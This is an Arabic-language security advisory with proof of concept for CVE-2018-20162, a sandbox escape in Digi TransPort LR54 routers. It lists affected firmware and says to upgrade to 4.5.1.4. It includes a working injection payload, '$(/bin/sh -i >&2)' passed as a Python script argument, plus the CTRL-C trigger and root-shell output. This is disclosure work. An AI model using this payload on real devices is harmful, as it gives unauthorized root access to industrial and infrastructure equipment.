
استغلال إثبات المفهوم لـ CVE-2018-20162: هروب من صندوق الحماية في جهاز التوجيه Digi TransPort LR54 LTE عبر خلل في معالجة SIGINT، مما يمنح وصولاً إلى جذر الصدفة.
جهاز Digi TransPort LR54 هو موجه (راوتر) LTE عالي السرعة يُستخدم بشكل شائع في القطاع الصناعي والبنية التحتية وتجارة التجزئة والنقل العام.
يدعم تشغيل نصوص بايثون في بيئة عزل مقيدة (sandbox)، ويوفر قشرة مخصصة (shell) يمكن الوصول إليها عبر SSH وتخضع لنفس القيود. وبالتالي فإن نظام التشغيل الأساسي لا يمكن الوصول إليه من قِبل المسؤول.
لقد وجدت طريقة للخروج من بيئة العزل والحصول على قشرة جذر (root shell) عبر استغلال الطريقة التي تتعامل بها واجهة الأوامر (CLI) مع وسائط سطر الأوامر عند تنفيذ نصوص بايثون:
عندما تستقبل عملية بايثون تفاعلية إشارة SIGINT (عبر CTRL-C)، لا يتم تهريب وسائط النص البرمجي بشكل صحيح عند تمريرها إلى معالج تسجيل الأخطاء في واجهة الأوامر التفاعلية. وهذا يتيح للمهاجم تنفيذ أوامر عشوائية بصلاحيات الجذر.
لاستغلال هذه الثغرة، يحتاج المهاجم إلى وصول تفاعلي إلى واجهة الأوامر بصلاحيات 'super'. المستخدم الذي يمتلك هذا المستوى من الوصول يكون مفعّلًا افتراضيًا على الجهاز.
جهاز Digi Transport LR54 (وربما منتجات ذات صلة مثل WR64 وWR54)
إصدار البرنامج الثابت : 4.4.0.26 10/29/2018 21:14:06 إصدار البرنامج الثابت : 4.3.2.24 09/06/2018 00:58:34
وربما إصدارات أقدم
يجب على المستخدمين الترقية إلى إصدار البرنامج الثابت 4.5.1.4 أو أحدث. كما ينبغي تغيير الأسرار المخزنة على الجهاز، مثل المفاتيح الخاصة وعبارات المرور، كإجراء احترازي.
sleep.py إلى جهاز LR54 باستخدام scp أو sftp، بحيث يحتوي على:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
اضغط فورًا على CTRL-C بعد بدء تشغيل البرنامج
ستجد نفسك بعد ذلك في قشرة جذر تفاعلية
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
تم اكتشاف الثغرة بواسطة Stig Palmquist.
شكرًا لـ @duniel_pls و@alexanderkjall على مراجعة هذا التقرير.